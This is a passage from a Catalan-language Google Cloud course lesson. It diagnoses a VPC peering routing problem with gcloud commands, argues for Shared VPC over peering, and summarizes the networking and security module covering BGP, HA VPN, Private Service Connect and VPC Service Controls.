Diagnòstic. És el problema de transitivitat de l'aparellament, en la seva forma més pura. La VPC de dades està aparellada amb alpinashop-vpc, i per això abasta les seves subxarxes. Però la ruta cap a 192.168.10.0/24 no és una subxarxa d'alpinashop-vpc: és una ruta apresa per BGP des del túnel VPN. I per defecte l'aparellament no exporta rutes apreses per BGP ni rutes estàtiques: només les de les subxarxes.

A més, encara que s'exportessin, hi ha un segon obstacle: l'aparellament no és transitiu, de manera que el trànsit de retorn des de Sabadell tampoc no sabria com tornar a la VPC de dades tret que el seu rang també s'anunciï per BGP.

Confirmació.

# Veure les rutes que exporta i importa l aparellament
gcloud compute networks peerings list-routes datos-hacia-red \
  --network=vpc-datos --region=europe-west1 --direction=INCOMING \
  --project=alpinashop-datos

192.168.10.0/24 no apareixerà a la llista.

Correcció. Hi ha dos camins, i la diferència entre ells és la moralitat de la lliçó:

Camí 1 — Apedaçar l'aparellament. Activar l'exportació de rutes personalitzades al costat d'alpinashop-vpc i la importació al costat de dades, i a més anunciar per BGP el rang de la VPC de dades cap a Sabadell:

gcloud compute networks peerings update red-hacia-datos \
  --network=alpinashop-vpc --export-custom-routes --project=alpinashop-red

gcloud compute networks peerings update datos-hacia-red \
  --network=vpc-datos --import-custom-routes --project=alpinashop-datos

gcloud compute routers update alpinashop-router-euw1 \
  --region=europe-west1 --advertisement-mode=custom \
  --set-advertisement-groups=all-subnets \
  --set-advertisement-ranges=10.30.0.0/16=vpc-datos \
  --project=alpinashop-red

Funciona, però deixa una topologia que cal recordar i documentar, i que es trencarà la propera vegada que algú afegeixi una xarxa.

Camí 2 — La solució correcta: eliminar l'aparellament. alpinashop-datos és un projecte propi d'AlpinaShop, a la mateixa organització. No hauria de tenir VPC pròpia aparellada: hauria de ser un projecte de servei de la VPC compartida. Tan bon punt ho sigui, els seus recursos seran a alpinashop-vpc, veuran les rutes de la VPN com qualsevol altre recurs, i el problema desapareix sense configurar res.

Aquesta és la lliçó de l'exercici, i de l'apartat 6: l'aparellament es fa servir quan l'altra xarxa és d'algú altre. Aparellar xarxes pròpies dins de la mateixa organització crea feina permanent per resoldre problemes que la VPC compartida no té. Si et trobes exportant rutes personalitzades entre dues VPC teves, és que vas triar l'eina equivocada.

Conclusió

La xarxa d'AlpinaShop ha passat de ser una VPC en un projecte a ser una plataforma de xarxa dissenyada.

Saps reconèixer quan una VPC deixa de bastar pels seus set senyals, i saps que el primer —abans de tocar res— és el pla d'adreçament, amb la seva regla inviolable: dos rangs que puguin arribar a connectar-se alguna vegada no es poden encavalcar. Amb les decisions que el fan durador: un /16 per regió amb el segon octet com a identificador, esquema idèntic entre regions, reserves per al que encara no existeix, i rangs prohibits explícitament —172.16.0.0/12 per Docker, 169.254.0.0/16 per BGP, i els «obvis» reservats per al dia que compris una empresa.

Domines la VPC compartida: projecte amfitrió propi i gairebé buit a la carpeta compartido, projectes de servei que aporten còmput i facturació, i els dos rols que la governen — compute.xpnAdmin per vincular projectes, concedit a la carpeta i no a l'organització, i compute.networkUser concedit sobre la subxarxa concreta, que és on hi ha la meitat del valor del model. Amb el permís de l'agent serverless-robot-prod que ningú no endevina, i amb la veritat incòmoda que una VM no es migra de xarxa: es recrea.

Distingeixes l'aparellament amb les seves tres limitacions —no és transitiu, els rangs no es poden encavalcar, les quotes s'agreguen— i saps que --export-custom-routes està desactivat per defecte i és la causa número u de «està aparellat però no hi arribo». Tens la taula de decisió amb la seva regla: projectes meus i una sola xarxa per governar → compartida; xarxa d'algú altre → aparellament; més de cinc xarxes i seus → Network Connectivity Center i la seva topologia radial.

Coneixes Private Service Connect en els seus tres usos: extrems amb IP teva cap a les API de Google —que a diferència de Private Google Access sí que funcionen des de l'altre costat del túnel—, consum de serveis de tercers sense compartir xarxes ni rangs, i publicació dels teus. I saps per què ha substituït l'aparellament com a forma estàndard de connectar amb socis.

Has connectat la botiga de Sabadell de debò: la taula de les tres opcions híbrides amb amplada de banda, latència, SLA, cost i termini, l'elecció raonada de Cloud VPN HA per a kilobytes d'estoc, i la implementació completa —passarel·la amb dues interfícies, passarel·la externa, Cloud Router amb ASN, dos túnels amb IKEv2 i secret a Secret Manager, dues sessions BGP amb prioritats 100 i 200, tallafoc i verificació—. Entens el BGP de debò: ASN, rutes anunciades i apreses, prioritats, i per què el dinàmic guanya a l'estàtic tan bon punt hi ha més d'una subxarxa. I saps que numLearnedRoutes: 0 amb el túnel ESTABLISHED significa que el problema no és teu.

Saps governar l'anunci de rutes amb --advertisement-mode=custom, inclòs el rang d'accés a serveis privats sense el qual Cloud SQL és inabastable des de la seu encara que tot sembli correcte, i coneixes els cinc errors clàssics d'encaminament amb el seu símptoma i el seu remei.

Has aixecat un perímetre de VPC Service Controls que respon al risc real: unes credencials filtrades ja no poden treure les dades, perquè IAM autoritza però el perímetre no deixa creuar la frontera. Amb nivells d'accés, --dry-run com a pas no negociable, la taula del que es trenca habitualment, i l'advertiment doble: mai un divendres, i que ho revisi un professional de seguretat i compliment abans de producció.

Saps diagnosticar en lloc de suposar: proves de connectivitat que retornen NO_ROUTE amb la causa exacta, topologia, analitzador de tallafoc i Flow Logs amb mostreig. Has seguit una fallada real de principi a fi —túnel amunt, BGP amunt, zero rutes apreses, microprogramari restaurat a Sabadell— i has vist el que es canvia després: alertes sobre numLearnedRoutes, sobre l'estat dels túnels, i sobre la frescor de l'estoc, perquè la detecció la continuava fent un humà tres hores tard.

I coneixes els nivells Premium i Estàndard, i sobretot on s'amaga la factura del trànsit: l'entrada és gratis, la sortida es paga, i el trànsit entre zones —que gairebé ningú no mira— apareix tan bon punt hi ha alta disponibilitat. Amb els quatre amagatalls clàssics i les tres palanques: CDN, col·locació i compressió.

Aquest últim apartat és el pont. Aquesta lliçó ha deixat veure una part de la factura que ningú no estava mirant, i no és l'única: han passat set mòduls afegint serveis —VM, buckets, BigQuery, Dataflow, un clúster, endpoints de Vertex AI, registres, traces, ara túnels i Flow Logs— i ningú no ha obert la factura sencera i l'ha entesa línia a línia.

Abans d'això queda una cosa amb més urgència. S'ha construït seguretat a cada mòdul: tallafoc a 03-01, WAF a 03-05, IAM a 03-04, secrets i CMEK a 03-06, TLS a 03-07, ara perímetres. Però mai no s'ha mirat el conjunt. La lliçó següent fa just això: revisa la seguretat d'AlpinaShop capa per capa, de la identitat a la detecció, i escriu honestament el deute que queda.

Curs de Google Cloud Platform (GCP)

Mòdul 1: Introducció a Google Cloud Platform

Mòdul 2: Serveis principals de GCP

Mòdul 3: Xarxes i seguretat

Mòdul 4: Dades i anàlisi

Mòdul 5: Aprenentatge automàtic i IA

Mòdul 6: DevOps i monitoratge

Mòdul 7: Temes avançats de GCP

Mòdul 8: Projecte final

© Copyright 2026. Tots els drets reservats